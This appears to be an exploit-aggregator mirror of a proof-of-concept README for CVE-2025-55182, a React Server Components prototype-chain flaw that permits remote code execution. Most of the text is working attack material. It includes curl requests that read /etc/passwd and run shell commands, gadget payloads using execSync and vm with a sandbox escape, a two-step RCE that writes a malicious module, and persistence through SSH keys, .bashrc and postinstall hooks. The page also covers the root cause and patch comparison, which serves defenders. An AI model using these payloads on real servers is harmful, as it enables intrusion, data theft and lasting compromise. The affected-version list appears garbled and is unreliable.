Share
## https://sploitus.com/exploit?id=E0FEA252-903E-579A-B57C-865575AA7316
# CVE-2025-55182 - React Server Components Prototype Chain Vulnerability
This POC demonstrates CVE-2025-55182 using actual `react-server-dom-webpack@19.0.0` vulnerable code.
[CVE-2025-55182 Emergency Fix Guide: Complete Analysis & Mitigation for Next.js/React RSC Vulnerability (CVSS 10.0)](https://devresourcehub.com/cve-2025-55182-emergency-fix-guide-complete-analysis-mitigation-for-next-js-react-rsc-vulnerability-cvss-10-0.html)
This repository is forked from https://github.com/ejpir/CVE-2025-55182-poc and has not been verified yet! Please exercise caution and verify carefully!
## Quick Start
```bash
# Install dependencies
npm install
# Start vulnerable server (port 3002)
npm start
# Run RCE exploit
npm run exploit
```
### Expected Output
```
=== CVE-2025-55182 - RCE via vm.runInThisContext ===
Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}
Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
```
## NPM Scripts
```bash
# Servers
npm start # Start main server (server-realistic.js, port 3002)
npm run start:legacy # Start legacy server (server.js, port 3002)
npm run start:module # Start module server (port 3003) - hypothetical, see note below
# Exploits (use with npm start)
npm run exploit # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
npm run exploit:research # Prototype chain research
# Hypothetical exploits (use with start:module)
npm run exploit:module # Two-step RCE via module#_load
npm run exploit:indirect # Two-step RCE with proof file
```
> **Note**: The `module` exploits are hypothetical. The `module` built-in is rarely
> bundled in production apps. They demonstrate a theoretical attack path when only
> `fs` + `module` are available (no vm/child_process). In practice, apps with `fs`
> usually also have `child_process` via dependencies like sharp, puppeteer, or execa.
## Test Individual Gadgets
```bash
# Start server first
npm start
# Test fs read
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Test command execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# Test vm code execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_ID_abc123def456#constructor='
```
## Key Files
### Servers
| File | Port | Description |
|------|------|-------------|
| `src/server-realistic.js` | 3002 | **Main server** - simulates webpack bundle with common modules (fs, vm, child_process) |
| `src/server.js` | 3002 | Legacy server (uses direct require) |
| `src/server-module-test.js` | 3003 | Server with module + fs (for research) |
### Exploit Scripts
| File | Description |
|------|-------------|
| `exploit-rce-v4.js` | **Primary RCE** via `vm#runInThisContext` |
| `exploit-all-gadgets.js` | Tests all RCE gadgets (vm, child_process, fs) |
| `exploit-module-load.js` | Two-step RCE via `fs` + `module#_load` |
| `exploit-indirect-rce.js` | Two-step RCE with proof file creation |
| `exploit-persistence.js` | Persistence attacks (SSH keys, .bashrc) |
| `exploit-research.js` | Prototype chain research |
## How server-realistic.js Works
Simulates a real webpack bundle where apps commonly bundle dangerous modules via dependencies:
```javascript
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
'actions-chunk-123': { /* user's server actions */ },
'fs': require('fs'), // via fs-extra, gray-matter, multer
'child_process': require('child_process'), // via execa, shelljs, puppeteer
'vm': require('vm'), // via ejs, pug, handlebars
'util': require('util'),
};
```
The `__webpack_require__` function only loads modules from `BUNDLED_MODULES`, simulating real webpack behavior.
## The Vulnerability
### Root Cause
In `requireModule()`, exports are accessed via bracket notation without `hasOwnProperty` check:
```javascript
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]]; // Accesses prototype chain!
// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];
```
### Attack Vector
1. Send `$ACTION_REF_0` with bound action metadata
2. `id: 'vm#runInThisContext'` loads `vm` module, accesses `runInThisContext` export
3. `bound` array becomes arguments to the function
4. When action is called: `runInThisContext(CODE)` executes arbitrary code
## All Verified RCE Gadgets
| Gadget | Status | Description |
|--------|--------|-------------|
| `vm#runInThisContext` | โ | Execute arbitrary JS in current context |
| `vm#runInNewContext` | โ | Execute in "sandbox" (easily escaped) |
| `child_process#execSync` | โ | Direct shell command execution |
| `child_process#execFileSync` | โ | Execute binary files |
| `child_process#spawnSync` | โ | Spawn process (returns object) |
| `module#_load` | โ | Load and execute JS file (2-step with fs) |
| `fs#readFileSync` | โ | Read arbitrary files |
| `fs#writeFileSync` | โ | Write arbitrary files |
### Gadget Payload Examples
**Execute shell command (whoami):**
```javascript
{ id: 'child_process#execSync', bound: ['whoami'] }
```
**Read sensitive files:**
```javascript
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
```
**Write files to disk:**
```javascript
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }
```
**Execute arbitrary JavaScript:**
```javascript
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}
```
**Sandbox escape (vm.runInNewContext):**
```javascript
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}
```
## Alternative Attack Paths
### Do You Need vm or child_process?
**For Direct RCE**: Yes, you need one of:
- `vm` module (runInThisContext, runInNewContext)
- `child_process` module (execSync, execFileSync, spawnSync)
**For Indirect RCE (fs-only)**: No! With just `fs` you can:
- Write to `~/.ssh/authorized_keys` โ SSH access
- Append to `~/.bashrc` โ Code execution on next login
- Overwrite `node_modules/*` โ RCE on app restart
- Modify `package.json` postinstall โ RCE on next npm install
### Hypothetical: Two-Step RCE with module#_load
> **Note**: This is hypothetical. The `module` built-in is rarely bundled in production.
```javascript
// Step 1: Write malicious module
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }
// Step 2: Load it
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Result: RCE!
```
## Comparison Results
| Version | Attack | Result |
|---------|--------|--------|
| React 19.0.0 | `vm#runInThisContext` | โ RCE achieved |
| React 19.2.1 | `vm#runInThisContext` | โ Blocked |
## Testing Patched Version
```bash
cd /tmp/react-rsc-patched
npm install react-server-dom-webpack@19.2.1
npm start
# Attacks will fail
```
## Vulnerable npm Packages
See [VULNERABLE-PACKAGES.md](VULNERABLE-PACKAGES.md) for research on popular npm packages that include dangerous modules:
| Module | Weekly Downloads | Popular Packages |
|--------|------------------|------------------|
| `fs` | 145M+ | fs-extra, gray-matter, multer, sharp |
| `child_process` | 103M+ | execa, shelljs, puppeteer, sharp |
| `vm` | 21M+ | ejs, pug, handlebars, vm2 |
## Affected Versions
- react-server-dom-webpack: = 19.2.0
- react-server-dom-turbopack: >= 19.2.0
- Next.js: 15.0.5+